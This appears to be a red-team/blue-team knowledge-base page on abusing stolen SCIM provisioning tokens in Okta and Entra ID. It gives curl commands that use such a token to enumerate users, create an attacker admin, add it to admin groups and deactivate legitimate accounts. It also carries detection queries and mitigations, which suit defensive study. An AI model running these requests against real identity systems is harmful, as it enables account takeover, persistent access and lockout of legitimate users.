SCIM Abuse
ATT&CK: T1098 — Account Manipulation
SCIM (System for Cross-domain Identity Management) is the protocol used to automate user provisioning between identity providers (Entra ID, Okta) and downstream SaaS applications. SCIM endpoints accept a single bearer token that grants broad access to create, modify, and delete users. If that token is stolen, an attacker controls the entire provisioned user population in that application.
What SCIM Does
SCIM APIs allow an IDP to:
- Create users in a target application when they join
- Update user attributes (email, department, manager, roles)
- Deactivate users when they leave
- Sync group memberships (SCIM groups map to app-level roles)
All of this is controlled by a single long-lived bearer token.
SCIM Token Characteristics
| Property | Value |
|---|---|
| Token type | Static bearer token |
| Lifetime | Often no expiry, or multi-year |
| Permissions | Full CRUD on users and groups in the target app |
| Storage | Stored in IDP (Okta, Entra ID), sometimes also in app config |
| Rotation | Typically manual; rarely rotated in practice |
Attack Vectors
1. SCIM Token Theft from IDP Configuration
If an attacker compromises an admin account in Okta or Entra ID:
Okta Admin Panel → Applications → target-app → Provisioning → API Token
Or via API:
# Okta API - list SCIM tokens for an app (requires admin token)
curl -H "Authorization: SSWS <admin-api-token>" \
"https://<org>.okta.com/api/v1/apps/<appId>/credentials/keys"
2. SCIM Token Stored in Infrastructure Secrets
DevOps misconfigurations frequently expose SCIM tokens in:
.envfiles committed to git- Terraform state files
- CI/CD environment variables
- Kubernetes secrets
- App configuration endpoints
3. Direct SCIM API Abuse
With a stolen SCIM token, an attacker can:
# List all users in the app
curl -H "Authorization: Bearer <scim-token>" \
"https://app.example.com/scim/v2/Users"
# Create a new admin user
curl -X POST -H "Authorization: Bearer <scim-token>" \
-H "Content-Type: application/json" \
-d '{"schemas":["urn:ietf:params:scim:schemas:core:2.0:User"],"userName":"attacker@domain.com","active":true,"emails":[{"value":"attacker@domain.com","primary":true}]}' \
"https://app.example.com/scim/v2/Users"
# Add attacker to admin group
curl -X PATCH -H "Authorization: Bearer <scim-token>" \
-d '{"schemas":["urn:ietf:params:scim:api:messages:2.0:PatchOp"],"Operations":[{"op":"add","path":"members","value":[{"value":"<attacker-user-id>"}]}]}' \
"https://app.example.com/scim/v2/Groups/<admin-group-id>"
# Deactivate a legitimate user (destructive)
curl -X PATCH -H "Authorization: Bearer <scim-token>" \
-d '{"schemas":["urn:ietf:params:scim:api:messages:2.0:PatchOp"],"Operations":[{"op":"replace","path":"active","value":false}]}' \
"https://app.example.com/scim/v2/Users/<user-id>"
High-Impact SCIM Abuse Scenarios
| Scenario | Impact |
|---|---|
| Add attacker account as admin | Persistent admin access to the SaaS app |
| Modify existing user's attributes | Change role, department, email → privilege escalation |
| Deactivate all users | Destructive — denial of service |
| Add attacker to high-privilege group | Access to app features gated by group membership |
| Exfiltrate all user accounts | Reconnaissance — user list, email addresses, departments |
SCIM in Specific IDPs
Okta SCIM
- SCIM token visible to Okta super admins
- Token rotation requires re-configuration in the app
- Audit log:
application.provision.*events
Entra ID SCIM
- SCIM token generated per enterprise app
- Visible to Application Admins for that app
- Audit log:
Provisioningcategory in Entra ID Audit Logs
Detection
Okta
# Okta System Log - suspicious SCIM activity
event.type = "application.provision.user.create" AND actor.type != "System"
event.type = "application.provision.group.push_member_add" AND actor.displayName != "<expected-idp>"
Entra ID
// Unexpected user provisioning from SCIM source
AuditLogs
| where Category == "ProvisioningManagement"
| where OperationName == "Create user"
| where InitiatedBy.app.displayName !in ("<expected-provisioning-app>")
| project TimeGenerated, OperationName, InitiatedBy, TargetResources
App-Level Detection
Monitor SCIM API calls directly:
- Unexpected source IPs for SCIM requests (not from IDP egress IPs)
- High-volume user enumeration (list all users)
- New user creation not preceded by IDP-side provisioning event
Mitigation
| Control | Effect |
|---|---|
| Rotate SCIM tokens regularly | Limit persistence window |
| Restrict SCIM token visibility | Only provisioning admins, not all app admins |
| Allowlist IDP egress IPs on SCIM endpoint | Block SCIM calls from non-IDP sources |
| Monitor SCIM API activity | Alert on user creation/group modification not from IDP |
| Audit SCIM token age | Revoke tokens older than 90 days |
Cross-Links
| Topic | Link |
|---|---|
| SCIM Protocol | okta-scim |
| Service Principal Abuse | service-principal-abuse |
| OAuth Token Theft | oauth-token-theft |
| Okta Overview | okta-overview |